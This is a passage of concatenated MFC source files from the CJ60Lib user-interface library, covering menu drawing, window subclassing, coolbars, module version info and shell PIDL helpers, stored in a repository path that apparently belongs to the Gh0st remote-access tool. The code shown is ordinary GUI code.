CBrush brush(color);
CBrush* pOldBrush = dc.SelectObject(&brush);
dc.PatBlt(rc.left, rc.top, rc.Width(), rc.Height(), PATCOPY);
dc.SelectObject(pOldBrush);
}
// This is the magic ROP code used to generate the embossed look for
// a disabled button. It's listed in Appendix F of the Win32 Programmer's
// Reference as PSDPxax (!) which is a cryptic reverse-polish notation for
//
// ((Destination XOR Pattern) AND Source) XOR Pattern
//
// which I leave to you to figure out. In the case where I apply it,
// Source is a monochrome bitmap which I want to draw in such a way that
// the black pixels get transformed to the brush color and the white pixels
// draw transparently--i.e. leave the Destination alone.
//
// black ==> Pattern (brush)
// white ==> Destintation (ie, transparent)
//
// 0xb8074a is the ROP code that does this. For more info, see Charles
// Petzold, _Programming Windows_, 2nd Edition, p 622-624.
//
#define TRANSPARENTROP 0xb8074a
//////////////////
// Draw an image with the embossed (disabled) look.
//
// dc device context to draw in
// il image list containing image
// i index of image to draw
// p point in dc to draw image at
// bColor do color embossing. Default is B/W.
//
void PLDrawEmbossed(CDC& dc, CImageList& il, int i,
CPoint p, BOOL bColor)
{
IMAGEINFO info;
VERIFY(il.GetImageInfo(0, &info));
CRect rc = info.rcImage;
int cx = rc.Width();
int cy = rc.Height();
// create memory dc
CDC memdc;
memdc.CreateCompatibleDC(&dc);
// create mono or color bitmap
CBitmap bm;
if (bColor)
bm.CreateCompatibleBitmap(&dc, cx, cy);
else
bm.CreateBitmap(cx, cy, 1, 1, NULL);
// draw image into memory DC--fill BG white first
CBitmap* pOldBitmap = memdc.SelectObject(&bm);
memdc.PatBlt(0, 0, cx, cy, WHITENESS);
il.Draw(&memdc, i, CPoint(0,0), ILD_TRANSPARENT);
// This seems to be required. Why, I don't know. ???
COLORREF colorOldBG = dc.SetBkColor(RGB(255,255,255)); // white
// Draw using hilite offset by (1,1), then shadow
CBrush brShadow(GetSysColor(COLOR_3DSHADOW));
CBrush brHilite(GetSysColor(COLOR_3DHIGHLIGHT));
CBrush* pOldBrush = dc.SelectObject(&brHilite);
dc.BitBlt(p.x+1, p.y+1, cx, cy, &memdc, 0, 0, TRANSPARENTROP);
dc.SelectObject(&brShadow);
dc.BitBlt(p.x, p.y, cx, cy, &memdc, 0, 0, TRANSPARENTROP);
dc.SelectObject(pOldBrush);
dc.SetBkColor(colorOldBG); // restore
memdc.SelectObject(pOldBitmap); // ...
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/CoolMenu.cpp | C++ | asf20 | 34,411 |
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#if !defined(AFX_STDAFX_H__75A839E8_589B_11D2_AB9F_C40300C10000__INCLUDED_)
#define AFX_STDAFX_H__75A839E8_589B_11D2_AB9F_C40300C10000__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define VC_EXTRALEAN // Exclude rarely-used stuff from Windows headers
#include <afxwin.h> // MFC core and standard components
#include <afxext.h> // MFC extensions
#ifndef _AFX_NO_OLE_SUPPORT
#include <afxole.h> // MFC OLE classes
#include <afxodlgs.h> // MFC OLE dialog classes
#include <afxdisp.h> // MFC Automation classes
#endif // _AFX_NO_OLE_SUPPORT
#ifndef _AFX_NO_DB_SUPPORT
#include <afxdb.h> // MFC ODBC database classes
#endif // _AFX_NO_DB_SUPPORT
#ifndef _AFX_NO_DAO_SUPPORT
#include <afxdao.h> // MFC DAO database classes
#endif // _AFX_NO_DAO_SUPPORT
#if _MSC_VER >= 1200 // VC6
#include <afxdtctl.h> // MFC support for Internet Explorer 4 Common Controls
#endif
#ifndef _AFX_NO_AFXCMN_SUPPORT
#include <afxcmn.h> // MFC support for Windows Common Controls
#endif // _AFX_NO_AFXCMN_SUPPORT
#ifndef TB_SETEXTENDEDSTYLE
// You can download the platform SDK from microsoft's site:
// http://msdn.microsoft.com/developer/sdk/default.htm
#error CJ60Lib requires a newer version of the SDK than you have!
#endif
#include <afxpriv.h>
#include <afxtempl.h>
#include <..\src\afximpl.h>
#define AFX_IDW_SIZEBAR_LEFT AFX_IDW_DOCKBAR_LEFT + 4
#define AFX_IDW_SIZEBAR_RIGHT AFX_IDW_DOCKBAR_RIGHT + 5
#define AFX_IDW_SIZEBAR_TOP AFX_IDW_DOCKBAR_TOP + 6
#define AFX_IDW_SIZEBAR_BOTTOM AFX_IDW_DOCKBAR_BOTTOM + 7
const DWORD dwSizeBarMap[4][2] =
{
{ AFX_IDW_SIZEBAR_TOP, CBRS_TOP },
{ AFX_IDW_SIZEBAR_BOTTOM, CBRS_BOTTOM },
{ AFX_IDW_SIZEBAR_LEFT, CBRS_LEFT },
{ AFX_IDW_SIZEBAR_RIGHT, CBRS_RIGHT },
};
#define safe_delete(p){if(p){delete p;p=NULL;}}
#include "Globals.h"
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_STDAFX_H__75A839E8_589B_11D2_AB9F_C40300C10000__INCLUDED_)
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/stdafx.h | C | asf20 | 2,309 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CSubclassWnd is a generic class for hooking another window's messages.
#include "StdAfx.h"
#include "Subclass.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
//////////////////
// The message hook map is derived from CMapPtrToPtr, which associates
// a pointer with another pointer. It maps an HWND to a CSubclassWnd, like
// the way MFC's internal maps map HWND's to CWnd's. The first CSubclassWnd
// attached to a window is stored in the map; all other CSubclassWnd's for that
// window are then chained via CSubclassWnd::m_pNext.
//
class CSubclassWndMap : private CMapPtrToPtr {
public:
CSubclassWndMap();
~CSubclassWndMap();
static CSubclassWndMap& GetHookMap();
void Add(HWND hwnd, CSubclassWnd* pSubclassWnd);
void Remove(CSubclassWnd* pSubclassWnd);
void RemoveAll(HWND hwnd);
CSubclassWnd* Lookup(HWND hwnd);
};
// This trick is used so the hook map isn't
// instantiated until someone actually requests it.
//
#define theHookMap (CSubclassWndMap::GetHookMap())
IMPLEMENT_DYNAMIC(CSubclassWnd, CWnd);
CSubclassWnd::CSubclassWnd()
{
m_pNext = NULL;
m_pOldWndProc = NULL;
m_hWnd = NULL;
}
CSubclassWnd::~CSubclassWnd()
{
if (m_hWnd)
HookWindow((HWND)NULL); // unhook window
}
//////////////////
// Hook a window.
// This installs a new window proc that directs messages to the CSubclassWnd.
// pWnd=NULL to remove.
//
BOOL CSubclassWnd::HookWindow(HWND hwnd)
{
ASSERT_VALID(this);
if (hwnd) {
// Hook the window
ASSERT(m_hWnd==NULL);
ASSERT(::IsWindow(hwnd));
theHookMap.Add(hwnd, this); // Add to map of hooks
} else if (m_hWnd) {
// Unhook the window
theHookMap.Remove(this); // Remove from map
m_pOldWndProc = NULL;
}
m_hWnd = hwnd;
return TRUE;
}
//////////////////
// Window proc-like virtual function which specific CSubclassWnds will
// override to do stuff. Default passes the message to the next hook;
// the last hook passes the message to the original window.
// You MUST call this at the end of your WindowProc if you want the real
// window to get the message. This is just like CWnd::WindowProc, except that
// a CSubclassWnd is not a window.
//
LRESULT CSubclassWnd::WindowProc(UINT msg, WPARAM wp, LPARAM lp)
{
// ASSERT_VALID(this); // removed for speed
ASSERT(m_pOldWndProc);
return m_pNext ? m_pNext->WindowProc(msg, wp, lp) :
::CallWindowProc(m_pOldWndProc, m_hWnd, msg, wp, lp);
}
//////////////////
// Like calling base class WindowProc, but with no args, so individual
// message handlers can do the default thing. Like CWnd::Default
//
LRESULT CSubclassWnd::Default()
{
// MFC stores current MSG in thread state
MSG& curMsg = AfxGetThreadState()->m_lastSentMsg;
// Note: must explicitly call CSubclassWnd::WindowProc to avoid infinte
// recursion on virtual function
return CSubclassWnd::WindowProc(curMsg.message, curMsg.wParam, curMsg.lParam);
}
#ifdef _DEBUG
void CSubclassWnd::AssertValid() const
{
CObject::AssertValid();
ASSERT(m_hWnd==NULL || ::IsWindow(m_hWnd));
if (m_hWnd) {
for (CSubclassWnd* p = theHookMap.Lookup(m_hWnd); p; p=p->m_pNext) {
if (p==this)
break;
}
ASSERT(p); // should have found it!
}
}
void CSubclassWnd::Dump(CDumpContext& dc) const
{
CObject::Dump(dc);
}
#endif
//////////////////
// Subclassed window proc for message hooks. Replaces AfxWndProc (or whatever
// else was there before.)
//
LRESULT CALLBACK
HookWndProc(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp)
{
#ifdef _USRDLL
// If this is a DLL, need to set up MFC state
AFX_MANAGE_STATE(AfxGetStaticModuleState());
#endif
// Set up MFC message state just in case anyone wants it
// This is just like AfxCallWindowProc, but we can't use that because
// a CSubclassWnd is not a CWnd.
//
MSG& curMsg = AfxGetThreadState()->m_lastSentMsg;
MSG oldMsg = curMsg; // save for nesting
curMsg.hwnd = hwnd;
curMsg.message = msg;
curMsg.wParam = wp;
curMsg.lParam = lp;
// Get hook object for this window. Get from hook map
CSubclassWnd* pSubclassWnd = theHookMap.Lookup(hwnd);
ASSERT(pSubclassWnd);
LRESULT lr;
if (msg==WM_NCDESTROY) {
// Window is being destroyed: unhook all hooks (for this window)
// and pass msg to orginal window proc
//
WNDPROC wndproc = pSubclassWnd->m_pOldWndProc;
theHookMap.RemoveAll(hwnd);
lr = ::CallWindowProc(wndproc, hwnd, msg, wp, lp);
} else {
// pass to msg hook
lr = pSubclassWnd->WindowProc(msg, wp, lp);
}
curMsg = oldMsg; // pop state
return lr;
}
////////////////////////////////////////////////////////////////
// CSubclassWndMap implementation
//
CSubclassWndMap::CSubclassWndMap()
{
}
CSubclassWndMap::~CSubclassWndMap()
{
// This assert bombs when posting WM_QUIT, so I've deleted it.
// ASSERT(IsEmpty()); // all hooks should be removed!
}
//////////////////
// Get the one and only global hook map
//
CSubclassWndMap& CSubclassWndMap::GetHookMap()
{
// By creating theMap here, C++ doesn't instantiate it until/unless
// it's ever used! This is a good trick to use in C++, to
// instantiate/initialize a static object the first time it's used.
//
static CSubclassWndMap theMap;
return theMap;
}
/////////////////
// Add hook to map; i.e., associate hook with window
//
void CSubclassWndMap::Add(HWND hwnd, CSubclassWnd* pSubclassWnd)
{
ASSERT(hwnd && ::IsWindow(hwnd));
// Add to front of list
pSubclassWnd->m_pNext = Lookup(hwnd);
SetAt(hwnd, pSubclassWnd);
if (pSubclassWnd->m_pNext==NULL) {
// If this is the first hook added, subclass the window
pSubclassWnd->m_pOldWndProc =
(WNDPROC)SetWindowLong(hwnd, GWL_WNDPROC, (DWORD)HookWndProc);
} else {
// just copy wndproc from next hook
pSubclassWnd->m_pOldWndProc = pSubclassWnd->m_pNext->m_pOldWndProc;
}
ASSERT(pSubclassWnd->m_pOldWndProc);
}
//////////////////
// Remove hook from map
//
void CSubclassWndMap::Remove(CSubclassWnd* pUnHook)
{
HWND hwnd = pUnHook->m_hWnd;
ASSERT(hwnd && ::IsWindow(hwnd));
CSubclassWnd* pHook = Lookup(hwnd);
ASSERT(pHook);
if (pHook==pUnHook) {
// hook to remove is the one in the hash table: replace w/next
if (pHook->m_pNext)
SetAt(hwnd, pHook->m_pNext);
else {
// This is the last hook for this window: restore wnd proc
RemoveKey(hwnd);
SetWindowLong(hwnd, GWL_WNDPROC, (DWORD)pHook->m_pOldWndProc);
}
} else {
// Hook to remove is in the middle: just remove from linked list
while (pHook->m_pNext!=pUnHook)
pHook = pHook->m_pNext;
ASSERT(pHook && pHook->m_pNext==pUnHook);
pHook->m_pNext = pUnHook->m_pNext;
}
}
//////////////////
// Remove all the hooks for a window
//
void CSubclassWndMap::RemoveAll(HWND hwnd)
{
CSubclassWnd* pSubclassWnd;
while ((pSubclassWnd = Lookup(hwnd))!=NULL)
pSubclassWnd->HookWindow((HWND)NULL); // (unhook)
}
/////////////////
// Find first hook associate with window
//
CSubclassWnd* CSubclassWndMap::Lookup(HWND hwnd)
{
CSubclassWnd* pFound = NULL;
if (!CMapPtrToPtr::Lookup(hwnd, (void*&)pFound))
return NULL;
ASSERT_KINDOF(CSubclassWnd, pFound);
return pFound;
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/Subclass.cpp | C++ | asf20 | 7,485 |
//{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file.
// Used by CJ60Lib.rc
//
#define IDS_HIDE 5000
#define IDS_EXPAND 5001
#define IDS_CONTRACT 5002
#define IDB_BUTTON_IMAGES 5003
#define IDC_TABCTRLBAR 5003
#define IDR_CBAR_POPUP 5004
#define IDC_URL_CODEJOCKEY 5005
#define IDB_BTN_EXPLORER 5006
#define IDM_CBAR_MENU 5007
#define IDC_BUTTON_HIDE 5008
#define IDC_BUTTON_MINI 5009
#define IDC_BAR_BUTTON 5010
#define IDC_BAR_CAPTION 5011
#define IDB_BTN_ARROW 5012
#define IDC_VSPLITBAR 5015
#define IDC_HSPLITBAR 5016
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 5017
#define _APS_NEXT_COMMAND_VALUE 5012
#define _APS_NEXT_CONTROL_VALUE 5012
#define _APS_NEXT_SYMED_VALUE 5012
#endif
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/resource.h | C | asf20 | 1,148 |
////////////////////////////////////////////////////////////////
// 1998 Microsoft Systems Journal
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CModuleVersion provides an easy way to get version info
// for a module.(DLL or EXE).
//
#include "StdAfx.h"
#include "ModulVer.h"
CModuleVersion::CModuleVersion()
{
m_pVersionInfo = NULL; // raw version info data
}
//////////////////
// Destroy: delete version info
//
CModuleVersion::~CModuleVersion()
{
delete [] m_pVersionInfo;
}
//////////////////
// Get file version info for a given module
// Allocates storage for all info, fills "this" with
// VS_FIXEDFILEINFO, and sets codepage.
//
BOOL CModuleVersion::GetFileVersionInfo(LPCTSTR modulename)
{
m_translation.charset = 1252; // default = ANSI code page
memset((VS_FIXEDFILEINFO*)this, 0, sizeof(VS_FIXEDFILEINFO));
CLoadLibrary lib(modulename);
// get module handle
TCHAR filename[_MAX_PATH];
HMODULE hModule = ::GetModuleHandle(modulename);
if (hModule==NULL && modulename!=NULL)
return FALSE;
// get module file name
DWORD len = GetModuleFileName(hModule, filename,
sizeof(filename)/sizeof(filename[0]));
if (len <= 0)
return FALSE;
// read file version info
DWORD dwDummyHandle; // will always be set to zero
len = GetFileVersionInfoSize(filename, &dwDummyHandle);
if (len <= 0)
return FALSE;
if (m_pVersionInfo)
delete m_pVersionInfo;
m_pVersionInfo = new BYTE[len]; // allocate version info
if (!::GetFileVersionInfo(filename, 0, len, m_pVersionInfo))
return FALSE;
LPVOID lpvi;
UINT iLen;
if (!VerQueryValue(m_pVersionInfo, _T("\\"), &lpvi, &iLen))
return FALSE;
// copy fixed info to myself, which am derived from VS_FIXEDFILEINFO
*(VS_FIXEDFILEINFO*)this = *(VS_FIXEDFILEINFO*)lpvi;
// Get translation info
// Note: VerQueryValue could return a value > 4, in which case
// mulitple languages are supported and VerQueryValue returns an
// array of langID/codepage pairs and you have to decide which to use.
if (VerQueryValue(m_pVersionInfo,
_T("\\VarFileInfo\\Translation"), &lpvi, &iLen) && iLen >= 4) {
m_translation = *(TRANSLATION*)lpvi;
TRACE(_T("code page = %d\n"), m_translation.charset);
}
return dwSignature == VS_FFI_SIGNATURE;
}
//////////////////
// Get string file info.
// Key name is something like "CompanyName".
// returns the value as a CString.
//
CString CModuleVersion::GetValue(LPCTSTR lpKeyName)
{
CString sVal;
if (m_pVersionInfo) {
// To get a string value must pass query in the form
//
// "\StringFileInfo\<langID><codepage>\keyname"
//
// where <lang-codepage> is the languageID concatenated with the
// code page, in hex. Wow.
//
CString query;
query.Format(_T("\\StringFileInfo\\%04x%04x\\%s"),
m_translation.langID,
m_translation.charset,
lpKeyName);
LPCTSTR pVal;
UINT iLenVal;
if (VerQueryValue(m_pVersionInfo, (LPTSTR)(LPCTSTR)query,
(LPVOID*)&pVal, &iLenVal)) {
sVal = pVal;
}
}
return sVal;
}
// typedef for DllGetVersion proc
typedef HRESULT (CALLBACK* DLLGETVERSIONPROC)(DLLVERSIONINFO *);
/////////////////
// Get DLL Version by calling DLL's DllGetVersion proc
//
BOOL CModuleVersion::DllGetVersion(LPCTSTR modulename, DLLVERSIONINFO& dvi)
{
CLoadLibrary lib(modulename);
if (!lib)
return FALSE;
// Must use GetProcAddress because the DLL might not implement
// DllGetVersion. Depending upon the DLL, the lack of implementation of the
// function may be a version marker in itself.
//
DLLGETVERSIONPROC pDllGetVersion =
(DLLGETVERSIONPROC)GetProcAddress(lib, _T("DllGetVersion"));
if (!pDllGetVersion)
return FALSE;
memset(&dvi, 0, sizeof(dvi)); // clear
dvi.cbSize = sizeof(dvi); // set size for Windows
return SUCCEEDED((*pDllGetVersion)(&dvi));
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/ModulVer.cpp | C++ | asf20 | 3,950 |
#include "stdafx.h"
#include "ShellPidl.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
///////////////////////////////////////////////////////////////////////
//
// This source is part of CShellTree - Selom Ofori
//
// Version: 1.02 (any previously unversioned copies are older/inferior
//
// This code is free for all to use. Mutatilate it as much as you want
// See MFCENUM sample from microsoft
//
// FUNCTIONS THAT DEAL WITH PIDLs
//
/****************************************************************************
*
* FUNCTION: Next(LPCITEMIDLIST pidl)
*
* PURPOSE: Gets the next PIDL in the list
*
****************************************************************************/
LPITEMIDLIST CShellPidl::Next(LPCITEMIDLIST pidl)
{
LPSTR lpMem=(LPSTR)pidl;
lpMem+=pidl->mkid.cb;
return (LPITEMIDLIST)lpMem;
}
/****************************************************************************
*
* FUNCTION: GetSize(LPCITEMIDLIST pidl)
*
* PURPOSE: Gets the size of the PIDL
*
****************************************************************************/
UINT CShellPidl::GetSize(LPCITEMIDLIST pidl)
{
UINT cbTotal = 0;
if (pidl)
{
cbTotal += sizeof(pidl->mkid.cb); // Null terminator
while (pidl->mkid.cb)
{
cbTotal += pidl->mkid.cb;
pidl = Next(pidl);
}
}
return cbTotal;
}
/****************************************************************************
*
* FUNCTION: CreatePidl(UINT cbSize)
*
* PURPOSE: Allocates a PIDL
*
****************************************************************************/
LPITEMIDLIST CShellPidl::CreatePidl(UINT cbSize)
{
LPMALLOC lpMalloc;
HRESULT hr;
LPITEMIDLIST pidl=NULL;
hr=SHGetMalloc(&lpMalloc);
if (FAILED(hr))
return 0;
pidl=(LPITEMIDLIST)lpMalloc->Alloc(cbSize);
if (pidl)
memset(pidl, 0, cbSize); // zero-init for external task alloc
if (lpMalloc) lpMalloc->Release();
return pidl;
}
/****************************************************************************
*
* FUNCTION: ConcatPidls(LPCITEMIDLIST pidl1, LPCITEMIDLIST pidl2)
*
* PURPOSE: Concatenates two PIDLs
*
****************************************************************************/
LPITEMIDLIST CShellPidl::ConcatPidls(LPCITEMIDLIST pidl1, LPCITEMIDLIST pidl2)
{
LPITEMIDLIST pidlNew;
UINT cb1;
UINT cb2;
if (pidl1) //May be NULL
cb1 = GetSize(pidl1) - sizeof(pidl1->mkid.cb);
else
cb1 = 0;
cb2 = GetSize(pidl2);
pidlNew = CreatePidl(cb1 + cb2);
if (pidlNew)
{
if (pidl1)
memcpy(pidlNew, pidl1, cb1);
memcpy(((LPSTR)pidlNew) + cb1, pidl2, cb2);
}
return pidlNew;
}
/****************************************************************************
*
* FUNCTION: CopyITEMID(LPMALLOC lpMalloc, LPITEMIDLIST lpi)
*
* PURPOSE: Copies the ITEMID
*
****************************************************************************/
LPITEMIDLIST CShellPidl::CopyITEMID(LPMALLOC lpMalloc, LPITEMIDLIST lpi)
{
LPITEMIDLIST lpiTemp;
lpiTemp=(LPITEMIDLIST)lpMalloc->Alloc(lpi->mkid.cb+sizeof(lpi->mkid.cb));
CopyMemory((PVOID)lpiTemp, (CONST VOID *)lpi, lpi->mkid.cb+sizeof(lpi->mkid.cb));
return lpiTemp;
}
/****************************************************************************
*
* FUNCTION: GetName(LPSHELLFOLDER lpsf,LPITEMIDLIST lpi,DWORD dwFlags,
* LPSTR lpFriendlyName)
*
* PURPOSE: Gets the friendly name for the folder
*
****************************************************************************/
BOOL CShellPidl::GetName(LPSHELLFOLDER lpsf,
LPITEMIDLIST lpi,
DWORD dwFlags,
LPSTR lpFriendlyName)
{
BOOL bSuccess=TRUE;
STRRET str;
if (NOERROR==lpsf->GetDisplayNameOf(lpi,dwFlags, &str))
{
switch (str.uType)
{
case STRRET_WSTR:
WideCharToMultiByte(CP_ACP, // CodePage
0, // dwFlags
str.pOleStr, // lpWideCharStr
-1, // cchWideChar
lpFriendlyName, // lpMultiByteStr
MAX_PATH,
//sizeof(lpFriendlyName), // cchMultiByte, wrong. sizeof on a pointer, psk, psk
NULL, // lpDefaultChar,
NULL); // lpUsedDefaultChar
break;
case STRRET_OFFSET:
_tcscpy(lpFriendlyName, (LPSTR)lpi+str.uOffset);
break;
case STRRET_CSTR:
_tcscpy(lpFriendlyName, (LPSTR)str.cStr);
break;
default:
bSuccess = FALSE;
break;
}
}
else
bSuccess = FALSE;
return bSuccess;
}
/****************************************************************************
*
* FUNCTION: GetFullyQualPidl(LPSHELLFOLDER lpsf, LPITEMIDLIST lpi)
*
* PURPOSE: Gets the Fully qualified Pidls for the folder
*
****************************************************************************/
LPITEMIDLIST CShellPidl::GetFullyQualPidl(LPSHELLFOLDER lpsf, LPITEMIDLIST lpi)
{
char szBuff[MAX_PATH];
OLECHAR szOleChar[MAX_PATH];
LPSHELLFOLDER lpsfDeskTop;
LPITEMIDLIST lpifq;
ULONG ulEaten, ulAttribs;
HRESULT hr;
if (!GetName(lpsf, lpi, SHGDN_FORPARSING, szBuff))
return NULL;
hr=SHGetDesktopFolder(&lpsfDeskTop);
if (FAILED(hr))
return NULL;
MultiByteToWideChar(CP_ACP,
MB_PRECOMPOSED,
szBuff,
-1,
(USHORT *)szOleChar,
sizeof(szOleChar));
hr=lpsfDeskTop->ParseDisplayName(NULL,
NULL,
szOleChar,
&ulEaten,
&lpifq,
&ulAttribs);
lpsfDeskTop->Release();
if (FAILED(hr))
return NULL;
return lpifq;
}
/****************************************************************************
*
* FUNCTION: DoTheMenuThing(HWND hwnd,
* LPSHELLFOLDER lpsfParent,
* LPITEMIDLIST lpi,
* LPPOINT lppt)
*
* PURPOSE: Displays a popup context menu, given a parent shell folder,
* relative item id and screen location.
*
* PARAMETERS:
* hwnd - Parent window handle
* lpsfParent - Pointer to parent shell folder.
* lpi - Pointer to item id that is relative to lpsfParent
* lppt - Screen location of where to popup the menu.
*
* RETURN VALUE:
* Returns TRUE on success, FALSE on failure
*
****************************************************************************/
BOOL CShellPidl::DoTheMenuThing(HWND hwnd, LPSHELLFOLDER lpsfParent,
LPITEMIDLIST lpi, LPPOINT lppt)
{
LPCONTEXTMENU lpcm;
HRESULT hr;
char szTemp[64];
CMINVOKECOMMANDINFO cmi;
DWORD dwAttribs=0;
int idCmd;
HMENU hMenu;
BOOL bSuccess=TRUE;
hr=lpsfParent->GetUIObjectOf(hwnd,
1, //Number of objects to get attributes of
(const struct _ITEMIDLIST **)&lpi,
IID_IContextMenu,
0,
(LPVOID *)&lpcm);
if (SUCCEEDED(hr))
{
hMenu = CreatePopupMenu();
if (hMenu)
{
hr=lpcm->QueryContextMenu(hMenu, 0, 1, 0x7fff, CMF_EXPLORE);
if (SUCCEEDED(hr))
{
idCmd=TrackPopupMenu(hMenu,
TPM_LEFTALIGN | TPM_RETURNCMD | TPM_RIGHTBUTTON,
lppt->x, lppt->y, 0, hwnd, NULL);
if (idCmd)
{
cmi.cbSize = sizeof(CMINVOKECOMMANDINFO);
cmi.fMask = 0;
cmi.hwnd = hwnd;
cmi.lpVerb = MAKEINTRESOURCE(idCmd-1);
cmi.lpParameters = NULL;
cmi.lpDirectory = NULL;
cmi.nShow = SW_SHOWNORMAL;
cmi.dwHotKey = 0;
cmi.hIcon = NULL;
hr=lpcm->InvokeCommand(&cmi);
if (!SUCCEEDED(hr))
{
wsprintf(szTemp, _T("InvokeCommand failed. hr=%lx"), hr);
AfxMessageBox(szTemp);
}
}
}
else
bSuccess = FALSE;
DestroyMenu(hMenu);
}
else
bSuccess = FALSE;
lpcm->Release();
}
else
{
wsprintf(szTemp, _T("GetUIObjectOf failed! hr=%lx"), hr);
AfxMessageBox(szTemp );
bSuccess = FALSE;
}
return bSuccess;
}
/****************************************************************************
*
* FUNCTION: GetIcon(LPITEMIDLIST lpi, UINT uFlags)
*
* PURPOSE: Gets the index for the current icon. Index is index into system
* image list.
*
* PARAMETERS:
* lpi - Fully qualified item id list for current item.
* uFlags - Flags for SHGetFileInfo()
*
* RETURN VALUE:
* Icon index for current item.
****************************************************************************/
int CShellPidl::GetItemIcon(LPITEMIDLIST lpi, UINT uFlags)
{
SHFILEINFO sfi;
SHGetFileInfo((LPCSTR)lpi,
0,
&sfi,
sizeof(SHFILEINFO),
uFlags);
return sfi.iIcon;
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/ShellPidl.cpp | C++ | asf20 | 9,865 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CCoolBar implements coolbars for MFC.
//
#include "StdAfx.h"
#include "CoolBar.h"
#include "ModulVer.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
// if you want to see extra TRACE diagnostics, set below to TRUE
BOOL CCoolBar::bTRACE = FALSE;
#ifdef _DEBUG
#define CBTRACEFN \
CTraceFn __fooble; \
if (bTRACE) \
TRACE
#define CBTRACE \
if (bTRACE) \
TRACE
#else
#define CBTRACEFN TRACE
#define CBTRACE TRACE
#endif
IMPLEMENT_DYNAMIC(CCoolBar, CControlBar)
BEGIN_MESSAGE_MAP(CCoolBar, CControlBar)
//{{AFX_MSG_MAP(CCoolBar)
ON_WM_CREATE()
ON_WM_PAINT()
ON_WM_ERASEBKGND()
ON_NOTIFY_REFLECT(RBN_HEIGHTCHANGE, OnHeightChange)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
CCoolBar::CCoolBar()
{
}
CCoolBar::~CCoolBar()
{
}
//////////////////
// Create coolbar
//
BOOL CCoolBar::Create(CWnd* pParentWnd, DWORD dwStyle,
DWORD dwAfxBarStyle, UINT nID)
{
ASSERT_VALID(pParentWnd); // must have a parent
// dynamic coolbar not supported
dwStyle &= ~CBRS_SIZE_DYNAMIC;
// save the style (this code copied from MFC--probably unecessary)
m_dwStyle = dwAfxBarStyle;
if (nID == AFX_IDW_TOOLBAR)
m_dwStyle |= CBRS_HIDE_INPLACE;
// MFC requires these:
dwStyle |= CCS_NODIVIDER|CCS_NOPARENTALIGN;
// initialize cool common controls
static BOOL bInit = FALSE;
if (!bInit) {
HMODULE h = ::GetModuleHandle(_T("ComCtl32"));
ASSERT(h);
typedef BOOL (CALLBACK* INITCC)(INITCOMMONCONTROLSEX*);
INITCC pfn = (INITCC)GetProcAddress(h, _T("InitCommonControlsEx"));
if (pfn) {
INITCOMMONCONTROLSEX sex;
sex.dwSize = sizeof(INITCOMMONCONTROLSEX);
sex.dwICC = ICC_COOL_CLASSES;
(*pfn)(&sex);
}
bInit = TRUE;
}
// Finally create the cool bar using given style and parent.
CRect rc;
rc.SetRectEmpty();
return CWnd::CreateEx(WS_EX_TOOLWINDOW, REBARCLASSNAME, NULL,
dwStyle, rc, pParentWnd, nID);
}
//////////////////
// Invalidate coolbar: invalidate children too
//
void CCoolBar::Invalidate(BOOL bErase)
{
HWND hWndChild = ::GetWindow(m_hWnd, GW_CHILD);
while (hWndChild != NULL) {
::InvalidateRect(hWndChild, NULL, bErase);
hWndChild = ::GetNextWindow(hWndChild, GW_HWNDNEXT);
}
CControlBar::Invalidate(bErase);
}
//////////////////
// Set the background bitmap. This sets the background for all bands and
// sets the RBBS_FIXEDBMP style so it looks like one background.
//
void CCoolBar::SetBackgroundBitmap(CBitmap* pBitmap)
{
HBITMAP hbm = (HBITMAP)pBitmap->GetSafeHandle();
CRebarBandInfo rbbi;
int n = GetBandCount();
for (int i=0; i< n; i++) {
rbbi.fMask = RBBIM_STYLE;
GetBandInfo(i, &rbbi);
rbbi.fMask |= RBBIM_BACKGROUND;
rbbi.fStyle |= RBBS_FIXEDBMP;
rbbi.hbmBack = hbm;
SetBandInfo(i, &rbbi);
}
}
//////////////////
// Set background/foreground colors for all bands
//
void CCoolBar::SetColors(COLORREF clrFG, COLORREF clrBG)
{
CRebarBandInfo rbbi;
rbbi.fMask = RBBIM_COLORS;
rbbi.clrFore = clrFG;
rbbi.clrBack = clrBG;
int n = GetBandCount();
for (int i=0; i< n; i++)
SetBandInfo(i, &rbbi);
}
//////////////////
// Insert band. This overloaded version lets you create a child window band.
//
BOOL CCoolBar::InsertBand(CWnd* pWnd, CSize szMin, int cx,
LPCTSTR lpText, int iPos, BOOL bNewRow)
{
CRebarBandInfo rbbi;
rbbi.fMask = RBBIM_CHILD|RBBIM_CHILDSIZE|RBBIM_TEXT;
if (cx>0) {
rbbi.fMask |= RBBIM_SIZE;
rbbi.cx = cx;
}
if (bNewRow) {
rbbi.fMask |= RBBIM_STYLE;
rbbi.fStyle |= RBBS_BREAK;
}
rbbi.hwndChild = pWnd->GetSafeHwnd();
rbbi.cxMinChild = szMin.cx;
rbbi.cyMinChild = szMin.cy;
